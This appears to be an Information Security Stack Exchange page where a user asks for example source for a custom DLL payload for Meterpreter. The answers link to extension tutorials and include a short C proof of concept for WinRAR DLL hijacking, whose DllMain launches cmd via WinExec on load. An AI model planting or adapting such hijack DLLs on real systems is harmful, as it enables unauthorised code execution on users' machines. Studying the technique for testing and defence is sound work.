Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

A simple custom DLL source would be sufficient. All of the links I find on google are dead. I don't mind reading some clear source if there's a tut DLL floating about.

I tried for meterpreter and custom-payload tags...sadly no dice.

share|improve this question

2 Answers 2

up vote 2 down vote accepted

Here is a slightly outdated but good set of information on making extensions:

https://www.scriptjunkie.us/2011/08/writing-meterpreter-extensions/

share|improve this answer
    
@Simon will do in the future, but in this one instance the question was looking for a tutorial –  mubix Sep 3 at 14:21
  1. There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example. http://seclists.org/fulldisclosure/2010/Sep/22

  2. There is a more straight-forward example for WinRAR DLL hijack: \

 #include "stdafx.h"

#include "stdlib.h" int g4h() { WinExec("cmd", SW_SHOW); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g4h(); return TRUE; }

Enjoy!

share|improve this answer
    
thx. i wound up having someone on IRC send me a link to one of mubix's articles. it doesn't inject directly into memory...as in it requires upload first, but it's a starting point –  hbdgaf Nov 20 '11 at 9:58
    
I +1'd the post btw –  hbdgaf Nov 30 '11 at 14:12

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.